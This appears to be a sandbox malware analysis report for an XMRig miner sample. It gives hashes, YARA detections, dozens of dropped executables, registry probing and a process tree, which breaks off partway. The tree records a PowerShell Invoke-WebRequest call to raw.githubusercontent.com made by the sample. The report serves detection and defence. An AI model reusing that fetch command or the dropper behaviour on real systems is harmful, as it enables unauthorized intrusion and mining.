xmrig | d43cf3eb79fcca2e42e57015da4bb4ff9e9e082a19f22beafe7dc53ee4a6ff61

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
05/07/2024, 21:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0a5b18a2a4347c6240d7d27c1c982ed0.exe
Size

1.8MB
MD5

0a5b18a2a4347c6240d7d27c1c982ed0
SHA1

4d622bd060af64196fe6b1f06dfe212429a9d5b9
SHA256

d43cf3eb79fcca2e42e57015da4bb4ff9e9e082a19f22beafe7dc53ee4a6ff61
SHA512

98696446c1158f803441628c13ca4042c421ef88019b3a6355e69f0fd5eb95d4d9d55a0e95073544e397cccf0ec91873f8dd804c8b371fee674a7f2fbd161881
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMlN675EgEPgsU5qTqOkDilK3uPpHbcMfOont:Lz071uv4BPMkFfdg6NsOkc2/t

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 12192 created 2808	12192	WerFaultSecure.exe	77

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 45 IoCs

miner

resource	yara_rule
behavioral2/memory/2420-59-0x00007FF623B60000-0x00007FF623F52000-memory.dmp	xmrig
behavioral2/memory/2372-17-0x00007FF68FE20000-0x00007FF690212000-memory.dmp	xmrig
behavioral2/memory/536-72-0x00007FF70CAE0000-0x00007FF70CED2000-memory.dmp	xmrig
behavioral2/memory/2396-80-0x00007FF76C690000-0x00007FF76CA82000-memory.dmp	xmrig
behavioral2/memory/116-94-0x00007FF623B10000-0x00007FF623F02000-memory.dmp	xmrig
behavioral2/memory/3924-103-0x00007FF6C03E0000-0x00007FF6C07D2000-memory.dmp	xmrig
behavioral2/memory/4544-104-0x00007FF7F09E0000-0x00007FF7F0DD2000-memory.dmp	xmrig
behavioral2/memory/4972-108-0x00007FF66BF10000-0x00007FF66C302000-memory.dmp	xmrig
behavioral2/memory/4868-122-0x00007FF719990000-0x00007FF719D82000-memory.dmp	xmrig
behavioral2/memory/4676-530-0x00007FF786830000-0x00007FF786C22000-memory.dmp	xmrig
behavioral2/memory/612-531-0x00007FF7099E0000-0x00007FF709DD2000-memory.dmp	xmrig
behavioral2/memory/4396-533-0x00007FF75A0D0000-0x00007FF75A4C2000-memory.dmp	xmrig
behavioral2/memory/1744-534-0x00007FF771000000-0x00007FF7713F2000-memory.dmp	xmrig
behavioral2/memory/4584-535-0x00007FF6303E0000-0x00007FF6307D2000-memory.dmp	xmrig
behavioral2/memory/3948-532-0x00007FF7ACA00000-0x00007FF7ACDF2000-memory.dmp	xmrig
behavioral2/memory/4780-123-0x00007FF7B3C60000-0x00007FF7B4052000-memory.dmp	xmrig
behavioral2/memory/3408-116-0x00007FF6E9F90000-0x00007FF6EA382000-memory.dmp	xmrig
behavioral2/memory/2672-113-0x00007FF706910000-0x00007FF706D02000-memory.dmp	xmrig
behavioral2/memory/992-112-0x00007FF6F7A70000-0x00007FF6F7E62000-memory.dmp	xmrig
behavioral2/memory/3940-97-0x00007FF7177C0000-0x00007FF717BB2000-memory.dmp	xmrig
behavioral2/memory/2912-93-0x00007FF78E0B0000-0x00007FF78E4A2000-memory.dmp	xmrig
behavioral2/memory/1748-89-0x00007FF658E80000-0x00007FF659272000-memory.dmp	xmrig
behavioral2/memory/3956-79-0x00007FF7C28A0000-0x00007FF7C2C92000-memory.dmp	xmrig
behavioral2/memory/4180-4026-0x00007FF780880000-0x00007FF780C72000-memory.dmp	xmrig
behavioral2/memory/3940-4381-0x00007FF7177C0000-0x00007FF717BB2000-memory.dmp	xmrig
behavioral2/memory/2420-4378-0x00007FF623B60000-0x00007FF623F52000-memory.dmp	xmrig
behavioral2/memory/2372-4376-0x00007FF68FE20000-0x00007FF690212000-memory.dmp	xmrig
behavioral2/memory/3924-4385-0x00007FF6C03E0000-0x00007FF6C07D2000-memory.dmp	xmrig
behavioral2/memory/536-4394-0x00007FF70CAE0000-0x00007FF70CED2000-memory.dmp	xmrig
behavioral2/memory/4544-4395-0x00007FF7F09E0000-0x00007FF7F0DD2000-memory.dmp	xmrig
behavioral2/memory/2396-4409-0x00007FF76C690000-0x00007FF76CA82000-memory.dmp	xmrig
behavioral2/memory/1748-4413-0x00007FF658E80000-0x00007FF659272000-memory.dmp	xmrig
behavioral2/memory/3956-4407-0x00007FF7C28A0000-0x00007FF7C2C92000-memory.dmp	xmrig
behavioral2/memory/2912-4429-0x00007FF78E0B0000-0x00007FF78E4A2000-memory.dmp	xmrig
behavioral2/memory/4972-4424-0x00007FF66BF10000-0x00007FF66C302000-memory.dmp	xmrig
behavioral2/memory/992-4435-0x00007FF6F7A70000-0x00007FF6F7E62000-memory.dmp	xmrig
behavioral2/memory/3408-4443-0x00007FF6E9F90000-0x00007FF6EA382000-memory.dmp	xmrig
behavioral2/memory/4868-4446-0x00007FF719990000-0x00007FF719D82000-memory.dmp	xmrig
behavioral2/memory/2672-4441-0x00007FF706910000-0x00007FF706D02000-memory.dmp	xmrig
behavioral2/memory/116-4433-0x00007FF623B10000-0x00007FF623F02000-memory.dmp	xmrig
behavioral2/memory/4396-4475-0x00007FF75A0D0000-0x00007FF75A4C2000-memory.dmp	xmrig
behavioral2/memory/4584-4482-0x00007FF6303E0000-0x00007FF6307D2000-memory.dmp	xmrig
behavioral2/memory/4676-4481-0x00007FF786830000-0x00007FF786C22000-memory.dmp	xmrig
behavioral2/memory/1744-4477-0x00007FF771000000-0x00007FF7713F2000-memory.dmp	xmrig
behavioral2/memory/612-4476-0x00007FF7099E0000-0x00007FF709DD2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2316	powershell.exe
5	2316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2372	CmkHvus.exe
3940	MZlnvtA.exe
2420	CMUMtYD.exe
3924	GwuEJZT.exe
536	wEtOFxx.exe
4544	pTBfbnW.exe
3956	WBIyFHw.exe
2396	LhWoxCv.exe
1748	FWPfFzj.exe
2912	QVULoHE.exe
4972	nZILAyC.exe
116	oyYJHql.exe
992	mXzLOPz.exe
2672	EGwhNtA.exe
3408	faTOOrb.exe
4868	EGnrldM.exe
4780	HgNZTcl.exe
4180	qlEwmeN.exe
4676	xXzfqep.exe
612	PNlRjgZ.exe
3948	OaPtDWN.exe
4396	xzvROsA.exe
1744	jhjdBrd.exe
4584	XdSUKIG.exe
3660	dsuLvdG.exe
3572	ATPWBPQ.exe
4060	nJuqLik.exe
4328	ReTKDpL.exe
1832	baPqCbL.exe
1484	lSdmzNK.exe
1404	XKPqZJx.exe
4924	tGebBCo.exe
3880	KABXNHk.exe
5064	lVqzspM.exe
1892	zKUQDdm.exe
1128	faqjAOV.exe
5008	yCFajnQ.exe
4300	IjYROov.exe
1336	LWzEEbt.exe
5112	BmLtsOx.exe
4936	cSnfwvF.exe
4576	wptGtpY.exe
3824	IjNcuuG.exe
2576	fSuuHLg.exe
2804	ZzlyBDY.exe
852	XidSygz.exe
1704	kWgtssd.exe
572	EgXCFdd.exe
1820	NesCuWy.exe
3324	RPIcGFR.exe
320	OIuHfFA.exe
4844	DalKyAi.exe
1468	DWTcVRV.exe
1372	mmWpjio.exe
932	cJsgZSy.exe
4168	LMZsCxM.exe
4052	OBazwuG.exe
4092	vTVvltZ.exe
1864	LftmUug.exe
5048	CXJAxbU.exe
768	wJPRHYn.exe
2876	VeQdFak.exe
2864	KtwMMRg.exe
708	cCZeQKa.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1800-0-0x00007FF7D2E70000-0x00007FF7D3262000-memory.dmp	upx
behavioral2/files/0x00080000000232d4-5.dat	upx
behavioral2/files/0x00080000000234b6-8.dat	upx
behavioral2/files/0x00090000000234a5-12.dat	upx
behavioral2/files/0x00070000000234b7-21.dat	upx
behavioral2/files/0x00070000000234b8-26.dat	upx
behavioral2/files/0x00070000000234bf-58.dat	upx
behavioral2/files/0x00070000000234bc-57.dat	upx
behavioral2/files/0x00070000000234bb-64.dat	upx
behavioral2/files/0x00070000000234ba-60.dat	upx
behavioral2/memory/2420-59-0x00007FF623B60000-0x00007FF623F52000-memory.dmp	upx
behavioral2/files/0x00070000000234b9-33.dat	upx
behavioral2/memory/2372-17-0x00007FF68FE20000-0x00007FF690212000-memory.dmp	upx
behavioral2/files/0x00080000000234be-66.dat	upx
behavioral2/memory/536-72-0x00007FF70CAE0000-0x00007FF70CED2000-memory.dmp	upx
behavioral2/files/0x00070000000234c0-71.dat	upx
behavioral2/memory/2396-80-0x00007FF76C690000-0x00007FF76CA82000-memory.dmp	upx
behavioral2/files/0x00070000000234c1-91.dat	upx
behavioral2/memory/116-94-0x00007FF623B10000-0x00007FF623F02000-memory.dmp	upx
behavioral2/memory/3924-103-0x00007FF6C03E0000-0x00007FF6C07D2000-memory.dmp	upx
behavioral2/memory/4544-104-0x00007FF7F09E0000-0x00007FF7F0DD2000-memory.dmp	upx
behavioral2/memory/4972-108-0x00007FF66BF10000-0x00007FF66C302000-memory.dmp	upx
behavioral2/files/0x00070000000234c4-118.dat	upx
behavioral2/memory/4868-122-0x00007FF719990000-0x00007FF719D82000-memory.dmp	upx
behavioral2/files/0x00070000000234c7-140.dat	upx
behavioral2/files/0x00070000000234cb-154.dat	upx
behavioral2/files/0x00070000000234cd-172.dat	upx
behavioral2/files/0x00070000000234d2-189.dat	upx
behavioral2/memory/4676-530-0x00007FF786830000-0x00007FF786C22000-memory.dmp	upx
behavioral2/memory/612-531-0x00007FF7099E0000-0x00007FF709DD2000-memory.dmp	upx
behavioral2/memory/4396-533-0x00007FF75A0D0000-0x00007FF75A4C2000-memory.dmp	upx
behavioral2/memory/1744-534-0x00007FF771000000-0x00007FF7713F2000-memory.dmp	upx
behavioral2/memory/4584-535-0x00007FF6303E0000-0x00007FF6307D2000-memory.dmp	upx
behavioral2/memory/3948-532-0x00007FF7ACA00000-0x00007FF7ACDF2000-memory.dmp	upx
behavioral2/files/0x00070000000234d3-194.dat	upx
behavioral2/files/0x00070000000234d1-192.dat	upx
behavioral2/files/0x00070000000234d0-187.dat	upx
behavioral2/files/0x00070000000234cf-182.dat	upx
behavioral2/files/0x00070000000234ce-177.dat	upx
behavioral2/files/0x00070000000234cc-167.dat	upx
behavioral2/files/0x00070000000234ca-155.dat	upx
behavioral2/files/0x00070000000234c9-149.dat	upx
behavioral2/files/0x00070000000234c8-145.dat	upx
behavioral2/files/0x00070000000234c6-134.dat	upx
behavioral2/files/0x00070000000234c5-127.dat	upx
behavioral2/memory/4780-123-0x00007FF7B3C60000-0x00007FF7B4052000-memory.dmp	upx
behavioral2/files/0x00070000000234c3-120.dat	upx
behavioral2/memory/4180-117-0x00007FF780880000-0x00007FF780C72000-memory.dmp	upx
behavioral2/memory/3408-116-0x00007FF6E9F90000-0x00007FF6EA382000-memory.dmp	upx
behavioral2/memory/2672-113-0x00007FF706910000-0x00007FF706D02000-memory.dmp	upx
behavioral2/memory/992-112-0x00007FF6F7A70000-0x00007FF6F7E62000-memory.dmp	upx
behavioral2/files/0x00070000000234c2-107.dat	upx
behavioral2/files/0x00080000000234bd-101.dat	upx
behavioral2/files/0x000a0000000234ac-99.dat	upx
behavioral2/memory/3940-97-0x00007FF7177C0000-0x00007FF717BB2000-memory.dmp	upx
behavioral2/memory/2912-93-0x00007FF78E0B0000-0x00007FF78E4A2000-memory.dmp	upx
behavioral2/memory/1748-89-0x00007FF658E80000-0x00007FF659272000-memory.dmp	upx
behavioral2/memory/3956-79-0x00007FF7C28A0000-0x00007FF7C2C92000-memory.dmp	upx
behavioral2/memory/4180-4026-0x00007FF780880000-0x00007FF780C72000-memory.dmp	upx
behavioral2/memory/3940-4381-0x00007FF7177C0000-0x00007FF717BB2000-memory.dmp	upx
behavioral2/memory/2420-4378-0x00007FF623B60000-0x00007FF623F52000-memory.dmp	upx
behavioral2/memory/2372-4376-0x00007FF68FE20000-0x00007FF690212000-memory.dmp	upx
behavioral2/memory/3924-4385-0x00007FF6C03E0000-0x00007FF6C07D2000-memory.dmp	upx
behavioral2/memory/536-4394-0x00007FF70CAE0000-0x00007FF70CED2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ymLubKF.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\jZGjiNy.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\dfDmAmY.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\DIVEmid.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\rErzKJf.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\gLGCoVd.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\IXNaoel.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\TWGIKYL.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\LWiqoWT.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\gQRkWLW.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\LbRdMSV.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\jSwSQbQ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\PusxSHZ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\LNrKTBg.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\gmOYABY.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\pqoTZgk.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\jebKvkM.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\DMmYWwJ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\nAaAlYH.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\YHhuMBS.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\BxBUFwH.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\anOQTPY.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\ZXdNOXM.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\dRamzgp.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\FjzrZJj.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\fwbmbxo.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\sWLCRqu.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\SThMlxa.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\ZBcypsL.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\nitEaeM.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\dYQFHNd.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\jDWdZqf.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\DbcHsjq.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\CpCoZNz.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\nwXJNxj.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\lFosLsO.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\GnUiGCF.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\tAyRfBa.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\sSjmXVd.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\NKslNpd.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\zRwZQhC.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\vubMdEe.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\nntQVCX.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\edaEGIE.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\FHHQgiq.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\VTMxxzN.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\aJMpgxn.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\IlDLapZ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\nCxZnQO.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\OWRRiCx.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\zkMrpjK.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\cIBXrGf.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\EnvczFw.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\kFtYjXL.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\eyxQhts.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\fuIgKIG.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\iLdOHkZ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\jXnwGYA.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\dVwjqLa.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\GZjhjBP.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\DgQXkDc.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\tYWcGHW.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\YgPBvsH.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe
File created	C:\Windows\System\wUpzBsJ.exe	0a5b18a2a4347c6240d7d27c1c982ed0.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFaultSecure.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFaultSecure.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFaultSecure.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFaultSecure.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFaultSecure.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2316	powershell.exe
2316	powershell.exe
2316	powershell.exe
1384	WerFaultSecure.exe
1384	WerFaultSecure.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeLockMemoryPrivilege	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe
Token: SeLockMemoryPrivilege	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 2316	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	84
PID 1800 wrote to memory of 2316	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	84
PID 1800 wrote to memory of 2372	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	85
PID 1800 wrote to memory of 2372	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	85
PID 1800 wrote to memory of 3940	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	86
PID 1800 wrote to memory of 3940	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	86
PID 1800 wrote to memory of 2420	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	87
PID 1800 wrote to memory of 2420	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	87
PID 1800 wrote to memory of 3924	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	88
PID 1800 wrote to memory of 3924	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	88
PID 1800 wrote to memory of 536	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	89
PID 1800 wrote to memory of 536	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	89
PID 1800 wrote to memory of 4544	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	90
PID 1800 wrote to memory of 4544	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	90
PID 1800 wrote to memory of 3956	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	91
PID 1800 wrote to memory of 3956	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	91
PID 1800 wrote to memory of 2396	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	92
PID 1800 wrote to memory of 2396	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	92
PID 1800 wrote to memory of 1748	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	93
PID 1800 wrote to memory of 1748	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	93
PID 1800 wrote to memory of 2912	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	94
PID 1800 wrote to memory of 2912	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	94
PID 1800 wrote to memory of 4972	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	95
PID 1800 wrote to memory of 4972	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	95
PID 1800 wrote to memory of 116	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	96
PID 1800 wrote to memory of 116	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	96
PID 1800 wrote to memory of 992	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	97
PID 1800 wrote to memory of 992	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	97
PID 1800 wrote to memory of 2672	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	98
PID 1800 wrote to memory of 2672	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	98
PID 1800 wrote to memory of 3408	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	99
PID 1800 wrote to memory of 3408	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	99
PID 1800 wrote to memory of 4868	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	100
PID 1800 wrote to memory of 4868	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	100
PID 1800 wrote to memory of 4180	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	101
PID 1800 wrote to memory of 4180	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	101
PID 1800 wrote to memory of 4780	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	102
PID 1800 wrote to memory of 4780	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	102
PID 1800 wrote to memory of 4676	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	103
PID 1800 wrote to memory of 4676	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	103
PID 1800 wrote to memory of 612	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	104
PID 1800 wrote to memory of 612	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	104
PID 1800 wrote to memory of 3948	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	105
PID 1800 wrote to memory of 3948	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	105
PID 1800 wrote to memory of 4396	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	106
PID 1800 wrote to memory of 4396	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	106
PID 1800 wrote to memory of 1744	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	107
PID 1800 wrote to memory of 1744	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	107
PID 1800 wrote to memory of 4584	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	108
PID 1800 wrote to memory of 4584	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	108
PID 1800 wrote to memory of 3660	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	109
PID 1800 wrote to memory of 3660	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	109
PID 1800 wrote to memory of 3572	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	110
PID 1800 wrote to memory of 3572	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	110
PID 1800 wrote to memory of 4060	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	111
PID 1800 wrote to memory of 4060	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	111
PID 1800 wrote to memory of 4328	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	112
PID 1800 wrote to memory of 4328	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	112
PID 1800 wrote to memory of 1832	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	113
PID 1800 wrote to memory of 1832	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	113
PID 1800 wrote to memory of 1484	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	114
PID 1800 wrote to memory of 1484	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	114
PID 1800 wrote to memory of 1404	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	115
PID 1800 wrote to memory of 1404	1800	0a5b18a2a4347c6240d7d27c1c982ed0.exe	115

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv jEJeGN4HwE2ZzLNTrcr15w.0
1⤵
PID:2808
- C:\Windows\system32\WerFaultSecure.exe
  C:\Windows\system32\WerFaultSecure.exe -u -p 2808 -s 328
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:1384

C:\Users\Admin\AppData\Local\Temp\0a5b18a2a4347c6240d7d27c1c982ed0.exe
"C:\Users\Admin\AppData\Local\Temp\0a5b18a2a4347c6240d7d27c1c982ed0.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2316" "2940" "2884" "2944" "0" "0" "2948" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:1288
- C:\Windows\System\CmkHvus.exe
  C:\Windows\System\CmkHvus.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\MZlnvtA.exe
  C:\Windows\System\MZlnvtA.exe
  2⤵
  - Executes dropped EXE
  PID:3940
- C:\Windows\System\CMUMtYD.exe
  C:\Windows\System\CMUMtYD.exe
  2⤵
  - Executes dropped EXE
  PID:2420
- C:\Windows\System\GwuEJZT.exe
  C:\Windows\System\GwuEJZT.exe
  2⤵
  - Executes dropped EXE
  PID:3924
- C:\Windows\System\wEtOFxx.exe
  C:\Windows\System\wEtOFxx.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\pTBfbnW.exe
  C:\Windows\System\pTBfbnW.exe
  2⤵
  - Executes dropped EXE
  PID:4544
- C:\Windows\System\WBIyFHw.exe
  C:\Windows\System\WBIyFHw.exe
  2⤵
